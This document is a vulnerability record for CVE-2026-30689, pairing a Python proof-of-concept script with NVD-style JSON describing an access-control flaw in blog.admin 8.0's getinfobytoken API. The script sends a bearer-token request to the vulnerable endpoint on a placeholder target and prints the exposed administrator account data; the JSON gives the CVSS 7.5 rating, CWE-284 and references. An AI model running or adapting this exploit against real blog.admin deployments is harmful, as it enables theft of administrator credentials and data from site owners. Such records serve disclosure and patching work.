CVE-2026-30689

import requests def exploit(target_url, token): """ PoC for CVE-2026-30689: Sensitive data exposure via getinfobytoken """ headers = { "Authorization": f"Bearer {token}", "User-Agent": "CVE-2026-30689-PoC" } # The vulnerable endpoint mentioned in the description endpoint = f"{target_url}/api/getinfobytoken" try: response = requests.get(endpoint, headers=headers, timeout=10) if response.status_code == 200: print("[+] Exploit Successful! Sensitive data retrieved:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": # Replace with actual target and a valid token target = "http://vulnerable-site.com" valid_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." exploit(target, valid_token)

{"cve": {"id": "CVE-2026-30689", "sourceIdentifier": "[email protected]", "published": "2026-03-27T15:16:53.620", "lastModified": "2026-04-02T19:57:44.627", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A blog.admin v.8.0 and before system's getinfobytoken API interface contains an improper access control which leads to sensitive data exposure. Unauthorized parties can obtain sensitive administrator account information via a valid token, threatening system security."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:anjoy8:blog.admin:8.0:*:*:*:*:*:*:*", "matchCriteriaId": "E3BC775D-345D-42EA-9C15-E4762AE42873"}]}]}], "references": [{"url": "http://blagadmin.com", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://gist.github.com/Sw3092567023/c420c6a5ee947d72aeab2b3e0ba92a40", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/anjoy8/Blog.Core", "source": "[email protected]", "tags": ["Product"]}]}}